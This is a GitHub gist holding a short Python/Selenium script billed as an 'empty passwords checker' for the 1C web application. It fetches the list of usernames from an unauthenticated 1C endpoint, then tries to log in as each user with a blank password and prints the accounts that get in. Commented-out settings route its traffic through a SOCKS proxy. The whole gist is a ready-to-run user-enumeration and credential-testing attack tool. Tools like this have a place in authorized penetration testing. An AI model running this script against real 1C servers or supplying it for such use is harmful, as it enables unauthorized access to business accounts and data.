Skip to content

Instantly share code, notes, and snippets.

@snovvcrash
Created March 4, 2023 02:35
Show Gist options
  • Save snovvcrash/632ac474abf90216aecf01c212251cca to your computer and use it in GitHub Desktop.
Save snovvcrash/632ac474abf90216aecf01c212251cca to your computer and use it in GitHub Desktop.
Empty passwords checker for 1C Web App
import sys
from time import sleep
# pip3 install requests selenium
import requests
from selenium.webdriver import Firefox
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.firefox.service import Service
URL = sys.argv[1] # http://1c.contoso.com/<DB_NAME>
TIMEOUT = 15
options = Options()
#options.set_preference('network.proxy.type', 1)
#options.set_preference('network.proxy.socks', '127.0.0.1')
#options.set_preference('network.proxy.socks_port', 1080)
#options.set_preference('network.proxy.socks_remote_dns', False)
# sudo eget -qs linux/amd64 "mozilla/geckodriver" --to /usr/bin/geckodriver
service = Service('/usr/bin/geckodriver')
driver = Firefox(service=service, options=options)
usernames = requests.get(f'{URL}/en_US/e1cib/users').text.lstrip('\ufeff').rstrip().split('\r\n')
for u in usernames:
driver.get(URL)
sleep(TIMEOUT)
element = driver.find_element(By.CSS_SELECTOR, 'input[id="userName"]')
element.send_keys(Keys.CONTROL, 'a')
element.send_keys(u)
driver.find_element(By.CSS_SELECTOR, 'button[id="okButton"]').click()
sleep(TIMEOUT)
try:
driver.switch_to.alert.accept()
except:
print(f'[+] {u}')
TIMEOUT = 3
driver.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment